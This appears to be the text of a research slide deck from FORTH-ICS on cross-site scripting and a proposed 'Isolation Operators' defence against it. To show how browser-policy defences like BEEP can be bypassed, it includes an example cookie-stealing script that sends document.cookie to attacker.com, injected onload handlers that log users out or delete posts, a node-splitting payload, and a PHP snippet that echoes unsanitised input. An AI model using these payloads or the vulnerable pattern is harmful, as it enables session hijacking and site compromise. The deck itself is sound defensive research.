Code-Injection Attacks in Browsers Supporting Policies

Elias Athanasopoulos, Vasilis Pappas, and Evangelos P. Markatos
FORTH-ICS
New code-injection attacks

or

return-to-libc attacks in the web
Cross-Site Scripting (XSS) is considered as a major threat
- XSS attacks are roughly 80% of all documented security vulnerabilities (Symantec, 2007)
- McAfee Websites Vulnerable to Attacks (4th May 2009)

Web sites are becoming richer
- AJAX interfaces
- Increase of client-side code (JavaScript)
(1) Static analysis
(2) Taint analysis
(3) Server/Client sanitization
(4) HTTP Cookies
(5) Enforcing policies in the browser
XSS Mitigation

- Static analysis
- Taint analysis
- Server/Client sanitization
- HTTP Cookies

- Enforcing policies in the browser

  *T. Jim, N. Swamy, and M. Hicks.*

  BEEP: Defeating script injection attacks with browser-enforced embedded policies
  (ACM WWW 2007)
• How can an attacker bypass BEEP
  • *return-to-libc* attacks in the web
• A new framework for XSS mitigation based on Isolation Operators
Roadmap

- XSS Short Introduction
- BEEP & Attacks
- Isolation Operators
- Conclusion
- Demo
XSS Short Introduction
BEEP & Attacks
Isolation Operators
Conclusion
Demo
An Example

- A user posts a comment to a blog story
- She enters some JavaScript inside
  - My cool comment.
    <script>location.href = www.attacker.com/document.cookie</script>
- Alice is browsing also the story; the script renders in her browser
- The attacker receives a request to her server with Alice’s cookie
The attacker has managed to steal Alice’s Cookie

- The attacker is able to hijack Alice’s session
  - Login to the web site with Alice’s credentials
  - Perform actions in the web site like she was Alice
The attacker could inject JavaScript code that performs operations on the web site

- Delete Alice’s comments
- Post comments (with Alice’s credentials)

If Alice had administrator privileges

- The attacker could take full control of the web site in some occasions
XSS != Cookie Stealing

- A buffer overflow attack compromises an application
  - This can sometimes lead to host compromising
- An XSS attack compromises a web application
  - This can sometimes lead to web system compromising (e.g. the "Google system")
BEEP & Attacks

- XSS Short Introduction
- BEEP & Attacks
- Isolation Operators
- Conclusion
- Demo

Elias Athanasopoulos, FORTH-ICS
The web server embeds policies in web documents

The web browser

- Identifies trusted and non trusted client-side code
- Executes client-side code according to the defined policies
Web browsers have all the required complexity in order to detect (parse) and render a script.
Assumptions

The web application developer knows exactly which scripts are trusted to be executed in the web browser

grep -i "\<script" -o fb-home.php | wc -l

23
Script Whitelisting
DOM Sandboxing
Script Whitelisting

- **Web server**
  - Generates a cryptographic hash for each script it produces
  - Injects in each web document the list of cryptographic hashes (white-list), corresponding to the trusted scripts

- **Web browser**
  - Using a hook, it checks if there is a hash in the white-list for each script before execution
Limitations

- No validation about
  - Script location in the web page
  - Asynchronous events (onload, onclick, etc.)
An attacker could mount an attack using existing white-listed JavaScript code

**return-to-libc**: during a buffer overflow, the attacker transfers control to a location in the `libc` instead of code in the injected buffer.
Examples

- Annoyance
- Data Loss
- Complete Takeover
1: `<html>`
2: `<head> <title> Blog! </title> <head>`
3: `<body>`
4: `<a onclick="logout()">Logout</a>`
5: `<div class="blog_entry" id="123">{TEXT...} <input type="button" onclick="delete(123);"></div>`
6: `<div class="blog_comments">`
7: `<li> <img onload="logout();" src="logo.gif">`
8: `<li> <img onload="window.location.href='http://www.google.com';" src="logo.gif">`
9: `<li> <img onload="delete(123);">`
10: `</li>`
11: `<a onclick="window.location.href='http://www.google.com';">Google</a>`
12: `</li>`
13: `</div>`
14: `</body>`
15: `</html>`
Annoyance

1: <html>
2: <head> <title> Blog! </title> <head>
3: <body>
4: <a onclick="logout();">Logout</a>
5: <div class="blog_entry" id="123">{TEXT...} <input type="button" onclick="delete(123);"></div>
6: <div class="blog_comments">
7: <li><img onload="logout();" src="logo.gif">
8: <li><img onload="window.location.href='http://www.google.com';" src="logo.gif">
9: <li><img onload="delete(123);">
10: </div>
11: <a onclick="window.location.href='http://www.google.com';">Google</a>
12: </body>
13: </html>
Data Loss

1:  <html>
2:  <head> <title> Blog! </title> <head>
3:  <body>
4:  <a onclick="logout();">Logout</a>
5:  <div class="blog_entry" id="123">{TEXT...} <input type="button" onclick="delete(123);"></div>
6:  <div class="blog_comments">
7:  <li> <img onload="logout();" src="logo.gif">
8:  <li> <img onload="window.location.href='http://www.google.com';" src="logo.gif">
9:  <li> <img onload="delete(123);">
10:  </div>
11:  <a onclick="window.location.href='http://www.google.com';">Google</a>
12:  </body>
13:  </html>
The server marks specific regions as trusted

- `<div class=untrust> ... no code here ... </div>`

The browser executes code only in trusted regions
Node splitting

- `<div class=untrusted> {content} </div>`
- `content := </div><div class=trusted> {script} </div><div class=untrusted>`

Countermeasure

- Noncespaces: Using Randomization to Enforce Information Flow Tracking and Thwart XSS Attacks (NDSS 2009)
- Marking div/span elements with trust properties requires human effort
  ```
grep -i "<div" -o fb-home.php | wc -l
  2708

grep -i "</span" -o fb-home.php | wc -l
  982
  ```
- Sometimes an attack can take place without having a DOM tree
  - Secure Content Sniffing for Web Browsers, or How to Stop Papers from Reviewing Themselves (Oakland 2009)
Isolation Operators

- XSS Short Introduction
- BEEP & Attacks
- Isolation Operators
- Conclusion
- Demo
We propose a framework for complete isolation of trusted client-side code

Key properties

- Attack coverage
- Easy implementation
- Low overhead
- Code separation at development time
- Isolation operators
- Browser actions
We propose client-side code separation at development time.

Server-side technologies already use similar code separation schemes:

- PHP (<?php and ?>)

Enforcing the scheme in JavaScript can successfully tag all legitimate JavaScript.
<html>
  <img onload+="render();">
  <div class='welcome'>
    alert("Hello World");
  </div>
</html>
Isolation Operators

- An Isolation Operator (IO) acts on entire blocks of code
- An IO transposes a block of code in a new isolated domain
- The isolated domain can not be ad hoc executed
- The code must be de-isolated first and then executed
- XOR
- Symmetric encryption (e.g. AES)
- Matrix multiplication
  - Create a matrix with the bytes of a script
  - Multiply it with a matrix
**IO Examples**

- **XOR**
- Symmetric encryption (e.g. AES)
- Matrix multiplication
  - Create a matrix with the bytes of a script
  - Multiply it with a matrix
<html>
<div class='welcome'>

<<<<

alert("Hello World");

>>>>>

</div>

</html>
Applying IO

<html>
  <div class='welcome'>
    <script>
      vpSUlJTV2NHGwJyW/NHY...
    </script>
  </div>
</html>
Policies are expressed in the browser environment as actions.

The browser de-isolates and executes client-side code, instead of simply executing it.

Example

- Look for \texttt{X-IO-Key} in HTTP headers.
- Apply XOR (\texttt{X-IO-Key}) and execute.
Conclusion

- XSS Short Introduction
- BEEP & Attacks
- Isolation Operators
- Conclusion
- Demo
Identify limitations of current policy based approaches for XSS mitigation

Introduce new XSS attacks

return-to-libc in the web

Proposal of an XSS mitigation scheme based on Isolation Operators
Ongoing Work

- Implementation of Isolation Operators in three leading web browsers
  - Firefox, WebKit (Safari), Chromium
- Implementation of the server-side part in Apache
- Full evaluation
  - Attack coverage, server overhead, client overhead, user-experience
- Full paper under submission
Thank you!

Elias Athanasopoulos
FORTH-ICS
elathan@ics.forth.gr
BACKUP
Isolation Operators (IO) are heavily inspired by Instruction Set Randomization (ISR)

- ISR operates on instruction set
- IOs operate on blocks of source code
ISR
alert42(“…”);

IO
vpSU1JT2V2NHGwJyW/NHY...
Why IO for JavaScript?

- Server lacks support for JavaScript handling
- Applying ISR for JavaScript
  - Requires at least a full JavaScript parser at the server side
  - The source will be parsed twice (one in production time and one in execution time)
<?php
$s = "<div id='malicious'>" . 
$_GET["id"] . "</div>";
echo $s;
?>

<script>
    eval(document.getElementById('malicious').innerHTML);
</script>